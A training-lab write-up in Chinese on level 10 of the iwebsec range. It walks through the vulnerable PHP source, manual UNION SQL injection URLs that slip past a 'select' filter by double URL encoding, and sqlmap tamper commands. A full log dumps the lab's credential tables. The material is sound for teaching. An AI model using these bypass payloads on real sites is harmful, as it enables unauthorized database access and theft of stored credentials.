iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过

news2024/11/27 6:35:31

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过_mooyuan的博客-CSDN博客

目录

系列文章目录

前言

一、源码分析

二、url二次编码

1.那么啥是二次编码呢？

2.本关卡如何利用二次编码使用select呢

3.遇到单引号如何处理

（1）爆数据库

（2）爆表名

（3）爆字段名

二、sqlmap注入

1.注入命令

方法1（url二次编码法）：

方法2（十六进制编码法）：

方法3（get_magic_quotes_gpc()未开启时）：

2.完整交互

总结

 

前言

打开靶场，url为 http://192.168.71.151/sqli/10.php?id=1 如下所示

一、源码分析

如下所示，SQL语句与前几关一样，调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入，并且对参数id做了select关键字过滤，以及对id进行了url解码处理。

select关键字过滤与url解码的相关源码如下所示

  if(isset($_GET['id'])){
	if (preg_match('/select/', $_GET["id"])) {
		die("ERROR");
	}else{
		$id = urldecode($_GET['id']);	
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }

 为与第08关形成对比，下面时08关仅仅做select关键字处理的源码

 if(isset($_GET['id'])){
	if (preg_match('/select/', $_GET["id"])) {
		die("ERROR");
	}else{
		$id=$_GET['id'];	
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }

这里要强调一下，相对于第08关的select关键字过滤，这里只是多了一层url解码。而本关卡的名称为双重url解码，这是因为默认情况下传入参数已经被url解码一次，而源码中新增的$id = urldecode($_GET['id']);   语句则是第二次url解码。看起来源码是对输入的参数进行了二次解码，防止关键字被绕过过滤。

二、url二次编码

看了源码分析后，我们了解到程序对二次编码绕过做了防范。

1.那么啥是二次编码呢？

假如我们传入双重url编码的字符串，将绕过非法字符检测，然后经urldecode解码，带入数据库中执行，导致SQL注入漏洞存在。

高版本PHP缺省设置magicquotesgpc为打开，这样一切get,post,cookie中的’，’’，\，null都将被特殊处理为\’，\’’，\，\0，可以防范大多数字符串SQL注入。。

举个例子：
'(单引号) 进行url编码后为%27
%27再次进行url编码后为%2527

如果我们使用二次编码技术将单引号'编码为%25%27，当服务器收到参数双重编码%2527时，完整的处理流程为

双重编码%2527->第一次解码成为%27（因为%25URL解码就是%），然后经过magicquotesgpc过滤时不做处理（即单引号不会变为\')->二次解码%27->'(单引号)，从而绕开了PHP缺省的过滤机制。

2.本关卡如何利用二次编码使用select呢

源码分析过程中，我们得知select关键字被过滤，那么我们可以将select进行二次url编码

由于原文是select完整关键字过滤，那么我们只需将select中的第三个字母l进行url编码

l的url编码为%6c

%6c的url编码为%25%36%63

那么select可以替换为se%25%36%63ect

于是将渗透爆破获取数据库的注入语句

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union select 1,2,database()

中关键字select替换为se%25%36%63ect，

可以成功渗透注入语句变为

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union se%25%36%63ect 1,2,database()

3.遇到单引号如何处理

当magicquotesgpc未打开时，无需考虑此场景，其实iwebsec 靶场漏洞库 就没有开启这个功能，也就是说单引号和双引号等特殊字符不会被特殊处理。在这个关卡中，没有

试想当magicquotesgpc打开时，单引号’，双引号’’，\，null都将被特殊处理为\’，\’’，\，\0，可以防范大多数字符串SQL注入。这种时候如何处理呢？这也是下一个关卡11关要考虑处理的内容。

下面开始手工注入（假设magicquotesgpc打开）

因为iwebsec的靶场环境并没有打开，故而需要修改docker中sqli/10.php的源码，手动添加此功能

（1）爆数据库

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union se%25%36%63ect 1,2,database()

如上图获取得到数据库名为iwebsec

（2）爆表名

失败注入命令如下，因为将上一步爆出的数据库iwebsec加上了单引号，导致注入失败：

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'

渗透方法1：将'iwebsec'替换为database()

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

渗透方法2:将'iwebsec'替换为%2527iwebsec%2527

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=%2527iwebsec%2527

这里iwebsec数据库有四个表格sqli,user,users,xss

（3）爆字段名

比如说想获取到users的字段名，那么注入命令如下

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

但是这种语句因为get_magic_quotes_gpc()和addshalshes()函数的处理会报错

绕过的方法是使用%2527users%2527代替users

 http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name=%2527users%2527

二、sqlmap注入

根据上文，总结出绕过渗透的方法：

（1）使用se%25%36%63ect代替select

（2）使用%2527代替单引号

1.注入命令

方法1（url二次编码法）：

使用sqlmap的绕waf脚本--tamper chardoubleencode.py，将select、单引号等内容进行二次编码即可绕过，这个方法正好点题（双重url编码绕过）

sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch  --tamper chardoubleencode.py

方法2（十六进制编码法）：

参考第11关卡，可以使用16进制字编码来绕过

sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch --tamper hex2char.py

方法3（get_magic_quotes_gpc()未开启时）：

这里要强调一下， 由于iwebsec的靶场环境没有开启 get_magic_quotes_gpc()，这时候就无需考虑单引号等字符被转义，只需要考虑select关键字被过滤掉，所以当前没有更改代码的情况下，使用第08关和09关的方法也可以渗透成功

sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch  --tamper double_ljn09.py
sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch  --tamper randomcase.py

2.完整交互

这里为了将chardoubleencode.py的作用完整显示出来，附上-v 3的完整交互信息，根据结果可知所有的字符串均进行了url二次编码，如下所示

kali@kali:/usr/share/sqlmap/tamper$ sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch --tamper chardoubleencode.py -v 3
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [(]     | .'| . |                                                                                                                                                                                                                  
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:36:13 /2022-11-25/

[02:36:13] [DEBUG] cleaning up configuration parameters
[02:36:13] [INFO] loading tamper module 'chardoubleencode'
[02:36:13] [DEBUG] setting the HTTP timeout
[02:36:13] [DEBUG] setting the HTTP User-Agent header
[02:36:13] [DEBUG] creating HTTP requests opener object
[02:36:13] [INFO] resuming back-end DBMS 'mysql' 
[02:36:13] [INFO] testing connection to the target URL
[02:36:13] [DEBUG] declared web page charset 'utf-8'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (8669=8669) THEN 1 ELSE (SELECT 1609 UNION SELECT 1652) END))
    Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT (ELT(2671=2671,1))),0x7162627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3194 FROM (SELECT(SLEEP(5)))NdTE)
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7178716271,0x737763636a6d4b595172494d63426767587648716c634d4558445341545941656d62644f46726646,0x7162627171)-- -
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY]-- -
---
[02:36:13] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:36:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: PHP 5.2.17, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[02:36:13] [INFO] fetching current database
[02:36:13] [DEBUG] resuming configuration option 'string' ('age')
[02:36:13] [DEBUG] performed 0 queries in 0.00 seconds
current database: 'iwebsec'
[02:36:13] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[02:36:13] [INFO] fetching current database
[02:36:13] [INFO] fetching tables for database: 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2554%2541%2542%254C%2545%2553%2520%2557%2548%2545%2552%2545%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%2520%2549%254E%2520%2528%2530%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%2529%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.07 seconds
[02:36:13] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%2570%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%2520%2557%2548%2545%2552%2545%2520%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%2530%2578%2537%2533%2537%2531%2536%2563%2536%2539%2520%2541%254E%2544%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2530%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.06 seconds
[02:36:13] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[02:36:13] [DEBUG] stripping ORDER BY clause from statement because it does not play well with UNION query SQL injection
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2565%256D%2561%2569%256C%252C%2569%2564%252C%2570%2561%2573%2573%2577%256F%2572%2564%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2569%2577%2565%2562%2573%2565%2563%252E%2573%2571%256C%2569%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.05 seconds
[02:36:13] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[02:36:13] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[02:36:13] [INFO] fetching columns for table 'user' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%2570%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%2520%2557%2548%2545%2552%2545%2520%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%2530%2578%2537%2535%2537%2533%2536%2535%2537%2532%2520%2541%254E%2544%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2530%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.06 seconds
[02:36:13] [INFO] fetching entries for table 'user' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2569%2564%252C%2570%2561%2573%2573%2577%256F%2572%2564%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2569%2577%2565%2562%2573%2565%2563%252E%2560%2575%2573%2565%2572%2560%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.05 seconds
[02:36:13] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[02:36:13] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[02:36:13] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%2570%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%2520%2557%2548%2545%2552%2545%2520%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%2530%2578%2537%2538%2537%2533%2537%2533%2520%2541%254E%2544%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2530%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.06 seconds
[02:36:13] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2569%2564%252C%256E%2561%256D%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2569%2577%2565%2562%2573%2565%2563%252E%2578%2573%2573%252D%252D%2520%252D
[02:36:13] [DEBUG] turning off reflection removal mechanism (for optimization purposes)
[02:36:13] [DEBUG] performed 1 query in 0.06 seconds
[02:36:13] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[02:36:13] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[02:36:13] [INFO] fetching columns for table 'users' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%2570%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%2520%2557%2548%2545%2552%2545%2520%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%2530%2578%2537%2535%2537%2533%2536%2535%2537%2532%2537%2533%2520%2541%254E%2544%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2530%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.06 seconds
[02:36:13] [INFO] fetching entries for table 'users' in database 'iwebsec'
[02:36:13] [PAYLOAD] %2531%2520%2555%254E%2549%254F%254E%2520%2541%254C%254C%2520%2553%2545%254C%2545%2543%2554%2520%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%2530%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%2530%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2570%2561%2573%2573%2577%256F%2572%2564%252C%2572%256F%256C%2565%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%2530%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%2520%2546%2552%254F%254D%2520%2569%2577%2565%2562%2573%2565%2563%252E%2575%2573%2565%2572%2573%252D%252D%2520%252D
[02:36:13] [DEBUG] performed 1 query in 0.01 seconds
[02:36:13] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[02:36:13] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[02:36:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[02:36:13] [WARNING] your sqlmap version is outdated

[*] ending @ 02:36:13 /2022-11-25/

总结

SQL注入主要分析几个内容

（1）闭合方式是什么？iwebsec的第10关关卡为数字型，无闭合

（2）注入类别是什么？这部分是普通的报错型注入

（3）是否过滤了关键字？很明显通过源码，iwebsec的第10关卡过滤了select关键字并且进行了双重url解码

了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的双重url解码型注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/47969.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

VF01销售开票发票金额控制增强

VF01销售开票发票金额控制增强

实施隐式增强 全部代码如下&#xff1a; method IF_EX_BADI_SD_BILLING~INVOICE_DOCUMENT_CHECK. CALL FUNCTION ‘SIPT_DOC_CHECK_SD’ EXPORTING it_xvbrk fxvbrk it_xvbrp fxvbrp it_xkomv fxkomv it_xvbpa fxvbpa IMPORTING ev_bad_data fbad_data. “”“”“”“…
阅读更多...
【LeetCode每日一题】——171.Excel 表列序号

【LeetCode每日一题】——171.Excel 表列序号

文章目录一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【解题思路】七【题目提示】八【时间频度】九【代码实现】十【提交结果】一【题目类别】 字符串 二【题目难度】 简单 三【题目编号】 171.Excel 表列序号 四【题目描述】 给你一个字…
阅读更多...
SecXOps 技术发展趋势

SecXOps 技术发展趋势

可以预见&#xff0c;安全智能分析技术的发展&#xff0c;将全面提升网络安全 关键应用场景下威胁检测的效果&#xff0c;推动安全分析从基础级、领先级&#xff0c;向卓越级演进。根据 Gartner 2021 年十大数据和分 析技术趋势&#xff0c;XOps 的目标是利用 DevOps 最佳实践实…
阅读更多...
计算机网络性能指标——时延，时延带宽积，RTT和利用率

计算机网络性能指标——时延，时延带宽积，RTT和利用率

时延 时延&#xff1a;数据&#xff08;报文、分组、比特流&#xff09;从网络的一端传送到另一端所需要的时间。也叫延迟或迟延&#xff0c;单位是s。 时延包括&#xff1a;发送时延&#xff08;传输时延&#xff09;,传播时延&#xff0c;排队时延&#xff0c;处理时延。 高…
阅读更多...
2022年最新安徽食品安全管理员模拟试题及答案

2022年最新安徽食品安全管理员模拟试题及答案

百分百题库提供食品安全管理员考试试题、食品安全管理员考试预测题、食品安全管理员考试真题、食品安全管理员证考试题库等&#xff0c;提供在线做题刷题&#xff0c;在线模拟考试&#xff0c;助你考试轻松过关。 1.引起副溶血弧菌食物中毒的主要食品是&#xff1a; A.罐头食品…
阅读更多...
公司新来一个同事，把网关系统设计的炉火纯青，万能通用，稳的一批。。

公司新来一个同事，把网关系统设计的炉火纯青，万能通用，稳的一批。。

本文准备围绕七个点来讲网关&#xff0c;分别是网关的基本概念、网关设计思路、网关设计重点、流量网关、业务网关、常见网关对比&#xff0c;对基础概念熟悉的朋友可以根据目录查看自己感兴趣的部分。 什么是网关 网关&#xff0c;很多地方将网关比如成门&#xff0c; 没什么…
阅读更多...
操作系统学习（九）死锁

操作系统学习（九）死锁

目录 学习建议&#xff1a; 基本内容&#xff1a; 一、死锁的形成&#xff1a; 二、死锁的必要条件&#xff1a; 三、资源分配图&#xff1a; 四、解决死锁问题的几个策略&#xff1a; 五、死锁的防止&#xff1a; 1.互斥条件&#xff1a; 2.占有并等待资源&#xff1a…
阅读更多...
[NCTF2019]SQLi

[NCTF2019]SQLi

进来就有个弹窗 甚至给了sql语句 sqlquery : select * from users where username and passwd 先扫一下目录&#xff0c;发现有个robots.txt 提示有个hint.txt $black_list "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00…
阅读更多...
特种品种权限开通和豁免

特种品种权限开通和豁免

目前国内期货市场&#xff0c;许多商品期货品种需要特殊开户流程。主要有7个&#xff08;未包含期权以及金融期货&#xff09;&#xff1a;铁矿石、PTA、20号胶、低硫燃料油、棕榈油、原油、国际铜。 想要交易铁矿石&#xff0c;首先需要拥有一个期货账户&#xff0c;其次再向…
阅读更多...
TCL 基于 StarRocks 构建统一的数据分析平台

TCL 基于 StarRocks 构建统一的数据分析平台

作者&#xff1a;陈树煌&#xff0c;TCL 实业数据管理部副总监&#xff08;本文为作者在 StarRocks Summit Asia 2022 上的分享&#xff09; 作为伴随改革开放浪潮成长起来的中国领先电子企业&#xff0c;TCL 拥有 13 万员工&#xff0c;业务遍及 160 多个国家和地区&#xff…
阅读更多...
[附源码]计算机毕业设计springboot公共台账管理系统

[附源码]计算机毕业设计springboot公共台账管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…
阅读更多...
【重温C++ Primer】第一章、初识C++

【重温C++ Primer】第一章、初识C++

目录前言一、编写一个简单的c程序二、编译、运行程序三、初识输入输出四、注释类型五、控制流5.1、循环语句&#xff1a;while for5.2、读取数量不定的输入数据5.2、if 语句六、类Reference前言 上次学C还是在大一的时候&#xff0c;一直都想好好的温习一下C。刚好最后被隔离…
阅读更多...
CS5263数据手册|CS5263替代PS176|DP转HDMI2.0芯片设计资料

CS5263数据手册|CS5263替代PS176|DP转HDMI2.0芯片设计资料

